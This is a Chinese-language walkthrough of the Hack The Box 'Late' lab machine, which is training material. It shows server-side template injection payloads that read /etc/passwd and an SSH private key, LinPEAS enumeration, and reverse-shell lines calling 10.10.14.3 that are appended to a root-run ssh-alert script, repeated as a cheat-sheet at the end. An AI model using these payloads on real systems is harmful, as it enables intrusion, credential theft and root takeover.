nmap -v -sV 10.10.11.156
发现两个端口
22/tcp ssh
80/tcp http
打开网页
发现个地址,打不开,
images.late.htb
在hosts加上地址
10.10.11.156 images.late.htb
打开后,一个文件上传地址
上传文件发现只能上传PNG格式文件,其他文件在browse会不显示
上传后,发现了他的上传文件路径
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
发现这是Flask框架
利用图片转text的功能,试一下能否执行
{{3+3}}
{{3*3}}
上传后,下来看到text内容
把语句转换成图片,成功{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}
svc_acc:x:1000:1000:Service Account:/home/svc_acc:/bin/bash
发现有个 svc_acc 用户可用,看一下目录下 .ssh 中是否有密钥:{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
新建文件id_rsa,复制进去,删掉后缀名
就用这个密钥进行ssh连接
chmod 600 id_rsa
svc_acc
ssh [email protected] -i id_rsa
进来就看到了user.txt
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c
find / -perm -u=s -type f 2>/dev/null
查看权限和SUID文件:
使用linpeas.sh 枚举一下
chmod -x linpeas.sh
./linpeas.sh > out.txt
使用LinPEAS,注意到一个有趣的文件名为由root用户运行,每次有人连接到SSH时都会运行。/usr/local/sbin
根据提示,找到这里这个脚本
可以尝试在里面加上一个反弹shell,然后再次连接,可以获得root
先创建一个文件svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt
编辑文件并向其中添加反向 shell 有效负载svc_acc@late:~$ vim file.txt# here we addbash -i >& /dev/tcp/$ip/端口 0>&1
将您创建的文件附加到ssh警报文件并检查是否已完成此操作svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”Email from Server Login: SSH Alert”BODY=”<br />A SSH login was detected.User: $PAM_USER<br /> User IP Host: $PAM_RHOST<br /> Service: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> Date:
date<br /> Server:
uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/端口 0>&1**
附加到文件中。在本地机器上设置一个netcat监听,然后再次通过SSH再次连接,以触发root执行ssh文件。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# whoami
whoami
root
root@late:/root# cat root.txt
cat root.txt
参考文章
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e
{{3+3}}
{{3*3}}
{{url_for.globals.builtins.open("/etc/passwd").read()}}
{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}
find / -perm -u=s -type f 2>/dev/null
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh
echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1